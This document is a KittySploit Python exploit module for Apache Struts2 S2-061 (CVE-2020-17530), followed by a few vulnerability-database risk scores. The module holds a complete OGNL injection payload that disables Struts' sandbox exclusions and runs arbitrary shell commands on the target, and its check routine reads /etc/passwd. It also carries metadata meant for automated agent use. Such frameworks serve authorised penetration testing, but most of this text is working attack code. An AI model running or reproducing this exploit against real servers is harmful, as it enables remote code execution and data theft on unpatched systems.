Apache Struts2 S2-061 RCE (CVE-2020-17530)
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts2 S2-061 forced OGNL RCE (CVE-2020-17530)."""
import re
import urllib.parse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Apache Struts2 S2-061 RCE (CVE-2020-17530)',
'description': (
'Exploits CVE-2020-17530 (S2-061) in Apache Struts 2.0.0–2.5.25: forced OGNL '
'evaluation in tag attributes yields remote command execution.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2020-17530'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-17530'],
'tags': ['struts', 'apache', 'ognl', 'rce', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {'suggested_followups': ['scanner/http/cve_2020_17530_detect']},
},
}
target_param = OptString('id', 'Query parameter name to inject', required=False, advanced=True)
def _ognl(self, cmd: str) -> str:
safe = str(cmd).replace('"', '\\"')
return (
'%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).'
'(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).'
'(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).'
'(#bean.setBean(#stack)).(#context=#bean.get("context")).'
'(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).'
'(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).'
'(#bean.put("excludedClasses",#emptyset)).'
'(#bean.put("excludedPackageNames",#emptyset)).'
'(#arglist=#instancemanager.newInstance("java.util.ArrayList")).'
f'(#arglist.add("{safe}")).'
'(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).'
'(#execute.exec(#arglist))}'
)
def execute(self, cmd: str) -> str:
param = str(self.target_param or 'id')
ognl = urllib.parse.quote(self._ognl(cmd), safe='')
r = self.http_request(method='GET', path=f'/?{param}={ognl}', allow_redirects=False)
return (r.text or '') if r else ''
def check(self):
body = self.execute('cat /etc/passwd')
if re.search(r'root:.*:0:0:', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2020-17530 confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'Struts S2-061 failed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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05 Oct 2026 14:20Current
8High risk
Vulners AI Score8
CVSS 27.5
CVSS 3.19.8
EPSS0.95931
SSVC